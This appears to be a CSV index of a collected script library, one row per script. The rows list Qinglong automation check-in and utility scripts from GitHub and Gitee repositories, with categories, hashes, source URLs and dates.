+web版/账密,望潮代理版,2025-06-28_望潮代理版_cfe0f499.py,cfe0f499ae9b30709066b3ecac2125243fa8628a40e6e9a298b5664fb4d0d347,GitHub,jdqlscript/toulu,望潮代理版.py,https://gitee.com/jdqlscript/toulu/blob/main/%E6%9C%9B%E6%BD%AE%E4%BB%A3%E7%90%86%E7%89%88.py,https://gitee.com/jdqlscript/toulu/raw/main/%E6%9C%9B%E6%BD%AE%E4%BB%A3%E7%90%86%E7%89%88.py,2025-06-28T11:18:42+08:00,脚本库/web版/账密/望潮代理版/2025-06-28_望潮代理版_cfe0f499.py,账密,web版,web/H5关键词 + username/password/login +web版/账密,模板_修改这里,2025-08-25_TEMPLATE_ql_b4f0835b.js,b4f0835b4e8445324f23d073b735cdef01013b3bf951cc23e1d7e77906e8554e,GitHub,imoki/sign_script,polymerization/TEMPLATE_ql.js,https://github.com/imoki/sign_script/blob/main/polymerization/TEMPLATE_ql.js,https://raw.githubusercontent.com/imoki/sign_script/main/polymerization/TEMPLATE_ql.js,2025-08-25T21:29:14+08:00,脚本库/web版/账密/模板_修改这里/2025-08-25_TEMPLATE_ql_b4f0835b.js,账密,web版,web/H5关键词 + username/password/login +web版/账密,每天60秒读懂世界,2025-08-25_day60s_5a7eddd6.js,5a7eddd6880c15b998de674e8a7cf397ea0aa6e1c22bd011a0a78e4fe2e659c7,GitHub,imoki/sign_script,polymerization/day60s.js,https://github.com/imoki/sign_script/blob/main/polymerization/day60s.js,https://raw.githubusercontent.com/imoki/sign_script/main/polymerization/day60s.js,2025-08-25T21:29:14+08:00,脚本库/web版/账密/每天60秒读懂世界/2025-08-25_day60s_5a7eddd6.js,账密,web版,web/H5关键词 + username/password/login web版/账密,汽水音乐签到,2026-05-16_qishui_sign_15ff394f_2.js,15ff394f543458209ed6fb1e4728546095fe755dd2b80c941b72fad6214da922,GitHub,DearSong15/ql-scripts,qishui_sign.js,https://github.com/DearSong15/ql-scripts/blob/main/qishui_sign.js,https://raw.githubusercontent.com/DearSong15/ql-scripts/main/qishui_sign.js,2026-05-16T08:31:47Z,脚本库/web版/账密/汽水音乐签到/2026-05-16_qishui_sign_15ff394f_2.js,账密,web版,web/H5关键词 + username/password/login +web版/账密,游侠网,2025-06-28_游侠网_f8654a12.js,f8654a129c1266b979a4fb939c98273c7d5fca37cbd10a5597eabfdd841c35b5,GitHub,jdqlscript/toulu,游侠网.js,https://gitee.com/jdqlscript/toulu/blob/main/%E6%B8%B8%E4%BE%A0%E7%BD%91.js,https://gitee.com/jdqlscript/toulu/raw/main/%E6%B8%B8%E4%BE%A0%E7%BD%91.js,2025-06-28T11:18:42+08:00,脚本库/web版/账密/游侠网/2025-06-28_游侠网_f8654a12.js,账密,web版,web/H5关键词 + username/password/login +web版/账密,熊猫网络,2025-08-25_xmdl_0cddb80d.js,0cddb80da31aedf5c5289c88965c5cee00f1428881e7dde05d0ae1d5f86cb02b,GitHub,imoki/sign_script,polymerization/xmdl.js,https://github.com/imoki/sign_script/blob/main/polymerization/xmdl.js,https://raw.githubusercontent.com/imoki/sign_script/main/polymerization/xmdl.js,2025-08-25T21:29:14+08:00,脚本库/web版/账密/熊猫网络/2025-08-25_xmdl_0cddb80d.js,账密,web版,web/H5关键词 + username/password/login +web版/账密,王者荣耀英雄介绍,2025-08-25_wangzhe_92cce1aa.js,92cce1aa99a7432e308ea56aba70fb5d9c6cb9c200fa83adcf5db15facad4401,GitHub,imoki/sign_script,polymerization/wangzhe.js,https://github.com/imoki/sign_script/blob/main/polymerization/wangzhe.js,https://raw.githubusercontent.com/imoki/sign_script/main/polymerization/wangzhe.js,2025-08-25T21:29:14+08:00,脚本库/web版/账密/王者荣耀英雄介绍/2025-08-25_wangzhe_92cce1aa.js,账密,web版,web/H5关键词 + username/password/login +web版/账密,电信营业厅并发,2025-06-28_电信营业厅任务_f76f6ee3.js,f76f6ee3a8bc4f393ca489fdde55209b675a907a51397978b0e7f78940f13c33,GitHub,jdqlscript/toulu,电信营业厅任务.js,https://gitee.com/jdqlscript/toulu/blob/main/%E7%94%B5%E4%BF%A1%E8%90%A5%E4%B8%9A%E5%8E%85%E4%BB%BB%E5%8A%A1.js,https://gitee.com/jdqlscript/toulu/raw/main/%E7%94%B5%E4%BF%A1%E8%90%A5%E4%B8%9A%E5%8E%85%E4%BB%BB%E5%8A%A1.js,2025-06-28T11:18:42+08:00,脚本库/web版/账密/电信营业厅并发/2025-06-28_电信营业厅任务_f76f6ee3.js,账密,web版,web/H5关键词 + username/password/login +web版/账密,电信金豆换话费,2025-06-28_电信金豆换话费_7d539458.py,7d5394589ec768e19394fab8d9bc08c50942d0c9889f7899e01b59f1ed4651be,GitHub,jdqlscript/toulu,电信金豆换话费.py,https://gitee.com/jdqlscript/toulu/blob/main/%E7%94%B5%E4%BF%A1%E9%87%91%E8%B1%86%E6%8D%A2%E8%AF%9D%E8%B4%B9.py,https://gitee.com/jdqlscript/toulu/raw/main/%E7%94%B5%E4%BF%A1%E9%87%91%E8%B1%86%E6%8D%A2%E8%AF%9D%E8%B4%B9.py,2025-06-28T11:18:42+08:00,脚本库/web版/账密/电信金豆换话费/2025-06-28_电信金豆换话费_7d539458.py,账密,web版,web/H5关键词 + username/password/login +web版/账密,电影票房排行,2025-08-25_piaofang_acba8c0f.js,acba8c0f835718cfa25d3cbae77090cd8967c968d9c063417cd1daef66d63b94,GitHub,imoki/sign_script,polymerization/piaofang.js,https://github.com/imoki/sign_script/blob/main/polymerization/piaofang.js,https://raw.githubusercontent.com/imoki/sign_script/main/polymerization/piaofang.js,2025-08-25T21:29:14+08:00,脚本库/web版/账密/电影票房排行/2025-08-25_piaofang_acba8c0f.js,账密,web版,web/H5关键词 + username/password/login +web版/账密,番茄免费小说,2025-06-28_番茄免费小说_d04dd54a.js,d04dd54ac3d612c8d93cd67702e45ea046527666378a80f84f6fd3719a61aabb,GitHub,jdqlscript/toulu,番茄免费小说.js,https://gitee.com/jdqlscript/toulu/blob/main/%E7%95%AA%E8%8C%84%E5%85%8D%E8%B4%B9%E5%B0%8F%E8%AF%B4.js,https://gitee.com/jdqlscript/toulu/raw/main/%E7%95%AA%E8%8C%84%E5%85%8D%E8%B4%B9%E5%B0%8F%E8%AF%B4.js,2025-06-28T11:18:42+08:00,脚本库/web版/账密/番茄免费小说/2025-06-28_番茄免费小说_d04dd54a.js,账密,web版,web/H5关键词 + username/password/login +web版/账密,百度收录,2025-08-25_bdsl_8027f638.js,8027f638418862e2edd2099b37eda3b1548595a4b6d5c9b0e2d2ef9381abc1bf,GitHub,imoki/sign_script,polymerization/bdsl.js,https://github.com/imoki/sign_script/blob/main/polymerization/bdsl.js,https://raw.githubusercontent.com/imoki/sign_script/main/polymerization/bdsl.js,2025-08-25T21:29:14+08:00,脚本库/web版/账密/百度收录/2025-08-25_bdsl_8027f638.js,账密,web版,web/H5关键词 + username/password/login +web版/账密,百度热搜榜,2025-08-25_bdhot_7149be26.js,7149be2666f1460b894f3db640cdcaa05a095165f5f9ddad00d73cdcbfa9a569,GitHub,imoki/sign_script,polymerization/bdhot.js,https://github.com/imoki/sign_script/blob/main/polymerization/bdhot.js,https://raw.githubusercontent.com/imoki/sign_script/main/polymerization/bdhot.js,2025-08-25T21:29:14+08:00,脚本库/web版/账密/百度热搜榜/2025-08-25_bdhot_7149be26.js,账密,web版,web/H5关键词 + username/password/login web版/账密,百度贴吧签到,2026-05-23_Tieba_9b1ac223.py,9b1ac22330324c1b5579826fd6202a49e6e4aa857d1819be3cd7073dd7c092c2,GitHub,CN-Grace/QinglongScripts,Tieba.py,https://github.com/CN-Grace/QinglongScripts/blob/main/Tieba.py,https://raw.githubusercontent.com/CN-Grace/QinglongScripts/main/Tieba.py,2026-05-23T15:48:24Z,脚本库/web版/账密/百度贴吧签到/2026-05-23_Tieba_9b1ac223.py,账密,web版,web/H5关键词 + username/password/login +web版/账密,看雪论坛,2025-08-25_ql_kanxue_6aeb8664.js,6aeb8664d796db8962a39556da700ec8d931ed2b7c522c518868882b1c453562,GitHub,imoki/sign_script,polymerization/ql_kanxue.js,https://github.com/imoki/sign_script/blob/main/polymerization/ql_kanxue.js,https://raw.githubusercontent.com/imoki/sign_script/main/polymerization/ql_kanxue.js,2025-08-25T21:29:14+08:00,脚本库/web版/账密/看雪论坛/2025-08-25_ql_kanxue_6aeb8664.js,账密,web版,web/H5关键词 + username/password/login +web版/账密,知乎热搜榜,2025-08-25_zhhot_4d73713f.js,4d73713fa3cfb682bbc6642f902e27ec76e570d9390f82e7d9ef77e8f0dc3c6f,GitHub,imoki/sign_script,polymerization/zhhot.js,https://github.com/imoki/sign_script/blob/main/polymerization/zhhot.js,https://raw.githubusercontent.com/imoki/sign_script/main/polymerization/zhhot.js,2025-08-25T21:29:14+08:00,脚本库/web版/账密/知乎热搜榜/2025-08-25_zhhot_4d73713f.js,账密,web版,web/H5关键词 + username/password/login +web版/账密,短网址生成,2025-08-25_dwz_74555928.js,745559287ad3dfa802c70ea4bc1a4057fa425d4ebf0bbf5ad4198b0fc98f44bc,GitHub,imoki/sign_script,polymerization/dwz.js,https://github.com/imoki/sign_script/blob/main/polymerization/dwz.js,https://raw.githubusercontent.com/imoki/sign_script/main/polymerization/dwz.js,2025-08-25T21:29:14+08:00,脚本库/web版/账密/短网址生成/2025-08-25_dwz_74555928.js,账密,web版,web/H5关键词 + username/password/login +web版/账密,硬声,2026-05-14_yingsheng_2e324775.js,2e3247750a23257df4001154edfad1f6aede0cc2bd147a83b7860ee66ce6f4c5,GitHub,smallfawn/QLScriptPublic,daily/yingsheng.js,https://github.com/smallfawn/QLScriptPublic/blob/main/daily/yingsheng.js,https://raw.githubusercontent.com/smallfawn/QLScriptPublic/main/daily/yingsheng.js,2026-05-14T17:47:57+08:00,脚本库/web版/账密/硬声/2026-05-14_yingsheng_2e324775.js,账密,web版,web/H5关键词 + username/password/login +web版/账密,神回复,2025-08-25_shenhuifu_2d02f196.js,2d02f19653f743dbcc64f895e781ba9cc8e203ec9c9962d5f9573532080d4162,GitHub,imoki/sign_script,polymerization/shenhuifu.js,https://github.com/imoki/sign_script/blob/main/polymerization/shenhuifu.js,https://raw.githubusercontent.com/imoki/sign_script/main/polymerization/shenhuifu.js,2025-08-25T21:29:14+08:00,脚本库/web版/账密/神回复/2025-08-25_shenhuifu_2d02f196.js,账密,web版,web/H5关键词 + username/password/login +web版/账密,福田e家,2025-06-28_福田e家_2681de89.js,2681de8919d0219b356310be12109e6395637b4da3c2e73543a25703a08bccc5,GitHub,jdqlscript/toulu,福田e家.js,https://gitee.com/jdqlscript/toulu/blob/main/%E7%A6%8F%E7%94%B0e%E5%AE%B6.js,https://gitee.com/jdqlscript/toulu/raw/main/%E7%A6%8F%E7%94%B0e%E5%AE%B6.js,2025-06-28T11:18:42+08:00,脚本库/web版/账密/福田e家/2025-06-28_福田e家_2681de89.js,账密,web版,web/H5关键词 + username/password/login +web版/账密,科研通,2025-08-25_ql_kyt_1d04491e.js,1d04491e99cc59fecb7f5e32ea08d5cdd425450b69ec6078bca7adf689a7ccb7,GitHub,imoki/sign_script,polymerization/ql_kyt.js,https://github.com/imoki/sign_script/blob/main/polymerization/ql_kyt.js,https://raw.githubusercontent.com/imoki/sign_script/main/polymerization/ql_kyt.js,2025-08-25T21:29:14+08:00,脚本库/web版/账密/科研通/2025-08-25_ql_kyt_1d04491e.js,账密,web版,web/H5关键词 + username/password/login +web版/账密,移动云盘,2025-06-28_移动云盘_4e6ef37b.py,4e6ef37b7f18f2ba813cddfef30964fd1a284fca7eb0abd17c2b542b7c77a0e8,GitHub,jdqlscript/toulu,移动云盘.py,https://gitee.com/jdqlscript/toulu/blob/main/%E7%A7%BB%E5%8A%A8%E4%BA%91%E7%9B%98.py,https://gitee.com/jdqlscript/toulu/raw/main/%E7%A7%BB%E5%8A%A8%E4%BA%91%E7%9B%98.py,2025-06-28T11:18:42+08:00,脚本库/web版/账密/移动云盘/2025-06-28_移动云盘_4e6ef37b.py,账密,web版,web/H5关键词 + username/password/login +web版/账密,简繁体转换,2025-08-25_fjzh_246b5fc8.js,246b5fc8ddc0779d3df32000387900196ac02753fab0e41fbd32a9cd396cc2b4,GitHub,imoki/sign_script,polymerization/fjzh.js,https://github.com/imoki/sign_script/blob/main/polymerization/fjzh.js,https://raw.githubusercontent.com/imoki/sign_script/main/polymerization/fjzh.js,2025-08-25T21:29:14+08:00,脚本库/web版/账密/简繁体转换/2025-08-25_fjzh_246b5fc8.js,账密,web版,web/H5关键词 + username/password/login +web版/账密,米游社_原神签到,2025-06-28_米哈游_44eb1b9e.js,44eb1b9e5b655f07ba8e5cd88554b3fb4ae6b4777689bc7518dc72db3d6c1115,GitHub,jdqlscript/toulu,米哈游.js,https://gitee.com/jdqlscript/toulu/blob/main/%E7%B1%B3%E5%93%88%E6%B8%B8.js,https://gitee.com/jdqlscript/toulu/raw/main/%E7%B1%B3%E5%93%88%E6%B8%B8.js,2025-06-28T11:18:42+08:00,脚本库/web版/账密/米游社_原神签到/2025-06-28_米哈游_44eb1b9e.js,账密,web版,web/H5关键词 + username/password/login web版/账密,"纪录片之家_,",2021-09-25_jlpzj_52215fbc.js,52215fbc79f20602170c62df0017e76a341162af743bb8e459141e249d1f2f37,GitHub,Wenmoux/checkbox,scripts/jlpzj.js,https://github.com/Wenmoux/checkbox/blob/master/scripts/jlpzj.js,https://raw.githubusercontent.com/Wenmoux/checkbox/master/scripts/jlpzj.js,2021-09-25T00:15:59Z,"脚本库/web版/账密/纪录片之家_,/2021-09-25_jlpzj_52215fbc.js",账密,web版,web/H5关键词 + username/password/login +web版/账密,经纬度解析,2025-08-25_lnglat_aa6d5e0b.js,aa6d5e0be0562ffaf53c20484159ed87396e19b39eae15204105371c24f5426c,GitHub,imoki/sign_script,polymerization/lnglat.js,https://github.com/imoki/sign_script/blob/main/polymerization/lnglat.js,https://raw.githubusercontent.com/imoki/sign_script/main/polymerization/lnglat.js,2025-08-25T21:29:14+08:00,脚本库/web版/账密/经纬度解析/2025-08-25_lnglat_aa6d5e0b.js,账密,web版,web/H5关键词 + username/password/login +web版/账密,统一快乐星球茄皇,2026-05-14_qiehuang_678fa340.py,678fa3406b5408e8ba04725e090ea9f8db8951fb4406c132dd23950af0270e0a,GitHub,smallfawn/QLScriptPublic,daily/qiehuang.py,https://github.com/smallfawn/QLScriptPublic/blob/main/daily/qiehuang.py,https://raw.githubusercontent.com/smallfawn/QLScriptPublic/main/daily/qiehuang.py,2026-05-14T17:47:57+08:00,脚本库/web版/账密/统一快乐星球茄皇/2026-05-14_qiehuang_678fa340.py,账密,web版,web/H5关键词 + username/password/login +web版/账密,罗技粉丝俱乐部,2025-06-28_罗技粉丝俱乐部_c45cd687.js,c45cd6870fb5b9d8c3af919d9243a322eaf57226c2cfedab3c421836778af525,GitHub,jdqlscript/toulu,罗技粉丝俱乐部.js,https://gitee.com/jdqlscript/toulu/blob/main/%E7%BD%97%E6%8A%80%E7%B2%89%E4%B8%9D%E4%BF%B1%E4%B9%90%E9%83%A8.js,https://gitee.com/jdqlscript/toulu/raw/main/%E7%BD%97%E6%8A%80%E7%B2%89%E4%B8%9D%E4%BF%B1%E4%B9%90%E9%83%A8.js,2025-06-28T11:18:42+08:00,脚本库/web版/账密/罗技粉丝俱乐部/2025-06-28_罗技粉丝俱乐部_c45cd687.js,账密,web版,web/H5关键词 + username/password/login +web版/账密,联想延保签到,2025-06-28_联想延保签到_f8c349cc.py,f8c349ccab0323222234630bfe4b5c0f1f6fc22d876be5a01880f989a73214c1,GitHub,jdqlscript/toulu,联想延保签到.py,https://gitee.com/jdqlscript/toulu/blob/main/%E8%81%94%E6%83%B3%E5%BB%B6%E4%BF%9D%E7%AD%BE%E5%88%B0.py,https://gitee.com/jdqlscript/toulu/raw/main/%E8%81%94%E6%83%B3%E5%BB%B6%E4%BF%9D%E7%AD%BE%E5%88%B0.py,2025-06-28T11:18:42+08:00,脚本库/web版/账密/联想延保签到/2025-06-28_联想延保签到_f8c349cc.py,账密,web版,web/H5关键词 + username/password/login +web版/账密,胖乖生活,2025-06-28_胖乖生活_104430b9.py,104430b94d09cac500764aa552f54b416538a59613dd89ab88c04528b4eab941,GitHub,jdqlscript/toulu,胖乖生活.py,https://gitee.com/jdqlscript/toulu/blob/main/%E8%83%96%E4%B9%96%E7%94%9F%E6%B4%BB.py,https://gitee.com/jdqlscript/toulu/raw/main/%E8%83%96%E4%B9%96%E7%94%9F%E6%B4%BB.py,2025-06-28T11:18:42+08:00,脚本库/web版/账密/胖乖生活/2025-06-28_胖乖生活_104430b9.py,账密,web版,web/H5关键词 + username/password/login +web版/账密,腾讯视频,2025-06-28_腾讯视频_d184953f.js,d184953f5b81bc1461b825c27b82d6bc1237c90266dbd0e642b500ff4386c48d,GitHub,jdqlscript/toulu,腾讯视频.js,https://gitee.com/jdqlscript/toulu/blob/main/%E8%85%BE%E8%AE%AF%E8%A7%86%E9%A2%91.js,https://gitee.com/jdqlscript/toulu/raw/main/%E8%85%BE%E8%AE%AF%E8%A7%86%E9%A2%91.js,2025-06-28T11:18:42+08:00,脚本库/web版/账密/腾讯视频/2025-06-28_腾讯视频_d184953f.js,账密,web版,web/H5关键词 + username/password/login +web版/账密,葫芦侠3楼,2025-08-25_huluxia_6233f109.js,6233f109c9d3883bbb174dbdb20376c2462cb2aa72e8fba21e67863ce31bc48e,GitHub,imoki/sign_script,polymerization/huluxia.js,https://github.com/imoki/sign_script/blob/main/polymerization/huluxia.js,https://raw.githubusercontent.com/imoki/sign_script/main/polymerization/huluxia.js,2025-08-25T21:29:14+08:00,脚本库/web版/账密/葫芦侠3楼/2025-08-25_huluxia_6233f109.js,账密,web版,web/H5关键词 + username/password/login +web版/账密,葫芦侠签到,2025-06-28_葫芦侠签到_e6c5a800.py,e6c5a800f14ae992bbef0055b24554457ac3ba98d665bfc433d0c7fbf454db54,GitHub,jdqlscript/toulu,葫芦侠签到.py,https://gitee.com/jdqlscript/toulu/blob/main/%E8%91%AB%E8%8A%A6%E4%BE%A0%E7%AD%BE%E5%88%B0.py,https://gitee.com/jdqlscript/toulu/raw/main/%E8%91%AB%E8%8A%A6%E4%BE%A0%E7%AD%BE%E5%88%B0.py,2025-06-28T11:18:42+08:00,脚本库/web版/账密/葫芦侠签到/2025-06-28_葫芦侠签到_e6c5a800.py,账密,web版,web/H5关键词 + username/password/login +web版/账密,蔚来签到,2026-05-14_weilai_c95486e9.js,c95486e99c3ccf5f4c9515ef0f21ce8032913dddbc664f9c2e609072a662bea3,GitHub,smallfawn/QLScriptPublic,daily/weilai.js,https://github.com/smallfawn/QLScriptPublic/blob/main/daily/weilai.js,https://raw.githubusercontent.com/smallfawn/QLScriptPublic/main/daily/weilai.js,2026-05-14T17:47:57+08:00,脚本库/web版/账密/蔚来签到/2026-05-14_weilai_c95486e9.js,账密,web版,web/H5关键词 + username/password/login +web版/账密,词霸每日一句,2025-08-25_ciba_43494f7f.js,43494f7f502aa601908d883fc22f87c8a6f75f3b14c592cb72534a38a7fbac94,GitHub,imoki/sign_script,polymerization/ciba.js,https://github.com/imoki/sign_script/blob/main/polymerization/ciba.js,https://raw.githubusercontent.com/imoki/sign_script/main/polymerization/ciba.js,2025-08-25T21:29:14+08:00,脚本库/web版/账密/词霸每日一句/2025-08-25_ciba_43494f7f.js,账密,web版,web/H5关键词 + username/password/login +web版/账密,谜语,2025-08-25_miyu_1cb49542.js,1cb4954271bcbfdd736a94a1c414554b6320dad11c3448ebc3b53a5731818ef8,GitHub,imoki/sign_script,polymerization/miyu.js,https://github.com/imoki/sign_script/blob/main/polymerization/miyu.js,https://raw.githubusercontent.com/imoki/sign_script/main/polymerization/miyu.js,2025-08-25T21:29:14+08:00,脚本库/web版/账密/谜语/2025-08-25_miyu_1cb49542.js,账密,web版,web/H5关键词 + username/password/login +web版/账密,趣味笑话,2025-08-25_qwxh_f35da7e8.js,f35da7e82983c63a20b8f37085b56fafa10679e8806e9ecc8e27f062091976fb,GitHub,imoki/sign_script,polymerization/qwxh.js,https://github.com/imoki/sign_script/blob/main/polymerization/qwxh.js,https://raw.githubusercontent.com/imoki/sign_script/main/polymerization/qwxh.js,2025-08-25T21:29:14+08:00,脚本库/web版/账密/趣味笑话/2025-08-25_qwxh_f35da7e8.js,账密,web版,web/H5关键词 + username/password/login web版/账密,"阡陌居_,",2021-10-04_qmj_eaedf806.js,eaedf8062aee0a296d103fcb892f519d757704aaaebd1093361270da8f77322a,GitHub,Wenmoux/checkbox,scripts/qmj.js,https://github.com/Wenmoux/checkbox/blob/master/scripts/qmj.js,https://raw.githubusercontent.com/Wenmoux/checkbox/master/scripts/qmj.js,2021-10-04T11:58:52Z,"脚本库/web版/账密/阡陌居_,/2021-10-04_qmj_eaedf806.js",账密,web版,web/H5关键词 + username/password/login +web版/账密,阿里云盘签到,2026-05-14_aliyunpan_1c3e68b4.py,1c3e68b4482e3fec462964a3f1f5984496ca84ac208570d26b82b9a3415fef6a,GitHub,smallfawn/QLScriptPublic,daily/aliyunpan.py,https://github.com/smallfawn/QLScriptPublic/blob/main/daily/aliyunpan.py,https://raw.githubusercontent.com/smallfawn/QLScriptPublic/main/daily/aliyunpan.py,2026-05-14T17:47:57+08:00,脚本库/web版/账密/阿里云盘签到/2026-05-14_aliyunpan_1c3e68b4.py,账密,web版,web/H5关键词 + username/password/login +web版/账密,随机一句一言,2025-08-25_oneyan_7ff4ea80.js,7ff4ea806378789fd11d80171f9a61788800c54307e023cf968cff8472929df3,GitHub,imoki/sign_script,polymerization/oneyan.js,https://github.com/imoki/sign_script/blob/main/polymerization/oneyan.js,https://raw.githubusercontent.com/imoki/sign_script/main/polymerization/oneyan.js,2025-08-25T21:29:14+08:00,脚本库/web版/账密/随机一句一言/2025-08-25_oneyan_7ff4ea80.js,账密,web版,web/H5关键词 + username/password/login +web版/账密,随机二次元图片,2025-08-25_imgecy_ce2ad6d0.js,ce2ad6d0a270bd71fd92f070d274a7afaa12a0617d2b9dc2e52240732e20e2e7,GitHub,imoki/sign_script,polymerization/imgecy.js,https://github.com/imoki/sign_script/blob/main/polymerization/imgecy.js,https://raw.githubusercontent.com/imoki/sign_script/main/polymerization/imgecy.js,2025-08-25T21:29:14+08:00,脚本库/web版/账密/随机二次元图片/2025-08-25_imgecy_ce2ad6d0.js,账密,web版,web/H5关键词 + username/password/login +web版/账密,随机唯美文案,2025-08-25_weimei_322bf127.js,322bf127887054856ce60c099935308ba2aa75ac03ff1bf7c856fcceaf88589c,GitHub,imoki/sign_script,polymerization/weimei.js,https://github.com/imoki/sign_script/blob/main/polymerization/weimei.js,https://raw.githubusercontent.com/imoki/sign_script/main/polymerization/weimei.js,2025-08-25T21:29:14+08:00,脚本库/web版/账密/随机唯美文案/2025-08-25_weimei_322bf127.js,账密,web版,web/H5关键词 + username/password/login +web版/账密,随机头像,2025-08-25_imgavatar_47fbd943.js,47fbd9439a3edd59070d78b3d9d233f04e75df4c8c48af743bf07ad5a7337f80,GitHub,imoki/sign_script,polymerization/imgavatar.js,https://github.com/imoki/sign_script/blob/main/polymerization/imgavatar.js,https://raw.githubusercontent.com/imoki/sign_script/main/polymerization/imgavatar.js,2025-08-25T21:29:14+08:00,脚本库/web版/账密/随机头像/2025-08-25_imgavatar_47fbd943.js,账密,web版,web/H5关键词 + username/password/login +web版/账密,随机封面,2025-08-25_imgcover_25d9b368.js,25d9b368be66b74ab64f0276cad41d08351bc5e1c06989488edaa4670fb72604,GitHub,imoki/sign_script,polymerization/imgcover.js,https://github.com/imoki/sign_script/blob/main/polymerization/imgcover.js,https://raw.githubusercontent.com/imoki/sign_script/main/polymerization/imgcover.js,2025-08-25T21:29:14+08:00,脚本库/web版/账密/随机封面/2025-08-25_imgcover_25d9b368.js,账密,web版,web/H5关键词 + username/password/login +web版/账密,随机手机壁纸,2025-08-25_imgphone_e286c802.js,e286c802b66b226430153ca436925107ae4d28aaf968f1926f2e0562e3104800,GitHub,imoki/sign_script,polymerization/imgphone.js,https://github.com/imoki/sign_script/blob/main/polymerization/imgphone.js,https://raw.githubusercontent.com/imoki/sign_script/main/polymerization/imgphone.js,2025-08-25T21:29:14+08:00,脚本库/web版/账密/随机手机壁纸/2025-08-25_imgphone_e286c802.js,账密,web版,web/H5关键词 + username/password/login +web版/账密,随机抽签,2025-08-25_chouq_59128372.js,5912837298993ea2f2fdda3bcf3652ecf33dc61808077c1fd4ac8db922cbfb75,GitHub,imoki/sign_script,polymerization/chouq.js,https://github.com/imoki/sign_script/blob/main/polymerization/chouq.js,https://raw.githubusercontent.com/imoki/sign_script/main/polymerization/chouq.js,2025-08-25T21:29:14+08:00,脚本库/web版/账密/随机抽签/2025-08-25_chouq_59128372.js,账密,web版,web/H5关键词 + username/password/login +web版/账密,随机美句摘抄文案,2025-08-25_meiju_a45df7c7.js,a45df7c780a13a30ab053076558cdfa066918dbf21616450c9931db8eafb348c,GitHub,imoki/sign_script,polymerization/meiju.js,https://github.com/imoki/sign_script/blob/main/polymerization/meiju.js,https://raw.githubusercontent.com/imoki/sign_script/main/polymerization/meiju.js,2025-08-25T21:29:14+08:00,脚本库/web版/账密/随机美句摘抄文案/2025-08-25_meiju_a45df7c7.js,账密,web版,web/H5关键词 + username/password/login +web版/账密,随机风景图片,2025-08-25_imglandscape_00e05d6b.js,00e05d6b9c87f41e4723ed5b516ea40a81c92acf9692f24625b69fa787f8daf3,GitHub,imoki/sign_script,polymerization/imglandscape.js,https://github.com/imoki/sign_script/blob/main/polymerization/imglandscape.js,https://raw.githubusercontent.com/imoki/sign_script/main/polymerization/imglandscape.js,2025-08-25T21:29:14+08:00,脚本库/web版/账密/随机风景图片/2025-08-25_imglandscape_00e05d6b.js,账密,web版,web/H5关键词 + username/password/login +web版/账密,骚扰电话查询,2025-08-25_telsaorao_9008abed.js,9008abed04e177eb1c3706af0e7918741ad74c4d1294d6676e6b0a2ee1b6d137,GitHub,imoki/sign_script,polymerization/telsaorao.js,https://github.com/imoki/sign_script/blob/main/polymerization/telsaorao.js,https://raw.githubusercontent.com/imoki/sign_script/main/polymerization/telsaorao.js,2025-08-25T21:29:14+08:00,脚本库/web版/账密/骚扰电话查询/2025-08-25_telsaorao_9008abed.js,账密,web版,web/H5关键词 + username/password/login +web版/账密,鸡汤,2025-08-25_jitang_eb7e749e.js,eb7e749e67c8b68e613f0afe7bb5b1ebe0bf93161c69226bb13cd4b7b736f6ab,GitHub,imoki/sign_script,polymerization/jitang.js,https://github.com/imoki/sign_script/blob/main/polymerization/jitang.js,https://raw.githubusercontent.com/imoki/sign_script/main/polymerization/jitang.js,2025-08-25T21:29:14+08:00,脚本库/web版/账密/鸡汤/2025-08-25_jitang_eb7e749e.js,账密,web版,web/H5关键词 + username/password/login +微信小程序/抓包版,"'remind',_note_'日期提醒工具',},",2025-08-25_UPDATE_891e820a.js,891e820ae0a3f9c63d3f0a87b92ed14ec831b0088c9e63b2a4eb16e40d12d287,GitHub,imoki/sign_script,polymerization/UPDATE.js,https://github.com/imoki/sign_script/blob/main/polymerization/UPDATE.js,https://raw.githubusercontent.com/imoki/sign_script/main/polymerization/UPDATE.js,2025-08-25T21:29:14+08:00,"脚本库/微信小程序/抓包版/'remind',_note_'日期提醒工具',},/2025-08-25_UPDATE_891e820a.js",抓包版,微信小程序,appid/openid/session_key/encryptedData等小程序字段 +微信小程序/抓包版,Babycare,2025-06-28_Babycare_4a2e1c44.py,4a2e1c449fcddaa87cd53358847de65c3839d1ffb325484844f5db88e04e1971,GitHub,jdqlscript/toulu,Babycare.py,https://gitee.com/jdqlscript/toulu/blob/main/Babycare.py,https://gitee.com/jdqlscript/toulu/raw/main/Babycare.py,2025-06-28T11:18:42+08:00,脚本库/微信小程序/抓包版/Babycare/2025-06-28_Babycare_4a2e1c44.py,抓包版,微信小程序,appid/openid/session_key/encryptedData等小程序字段 +微信小程序/抓包版,CHERWIN_TOOLS,2025-06-28_CHERWIN_TOOLS_9a1e1439.py,9a1e14399666b2b55948eb1b7bcdd1a38f233c87b61f7e7d0c592bb67b0d42e3,GitHub,jdqlscript/toulu,CHERWIN_TOOLS.py,https://gitee.com/jdqlscript/toulu/blob/main/CHERWIN_TOOLS.py,https://gitee.com/jdqlscript/toulu/raw/main/CHERWIN_TOOLS.py,2025-06-28T11:18:42+08:00,脚本库/微信小程序/抓包版/CHERWIN_TOOLS/2025-06-28_CHERWIN_TOOLS_9a1e1439.py,抓包版,微信小程序,appid/openid/session_key/encryptedData等小程序字段 +微信小程序/抓包版,DQ点单,2025-06-28_DQ点单_53161101.js,5316110176df2c840df02f273bac74a7a52b8016fad19a4ec41d6a654fe2ec99,GitHub,jdqlscript/toulu,DQ点单.js,https://gitee.com/jdqlscript/toulu/blob/main/DQ%E7%82%B9%E5%8D%95.js,https://gitee.com/jdqlscript/toulu/raw/main/DQ%E7%82%B9%E5%8D%95.js,2025-06-28T11:18:42+08:00,脚本库/微信小程序/抓包版/DQ点单/2025-06-28_DQ点单_53161101.js,抓包版,微信小程序,appid/openid/session_key/encryptedData等小程序字段 +微信小程序/抓包版,KSOEUR,2025-06-28_KSOEUR_dff489d3.py,dff489d354c1462787fdedee1bd44f007984f36251621852b94afdd500410ad0,GitHub,jdqlscript/toulu,KSOEUR.py,https://gitee.com/jdqlscript/toulu/blob/main/KSOEUR.py,https://gitee.com/jdqlscript/toulu/raw/main/KSOEUR.py,2025-06-28T11:18:42+08:00,脚本库/微信小程序/抓包版/KSOEUR/2025-06-28_KSOEUR_dff489d3.py,抓包版,微信小程序,appid/openid/session_key/encryptedData等小程序字段 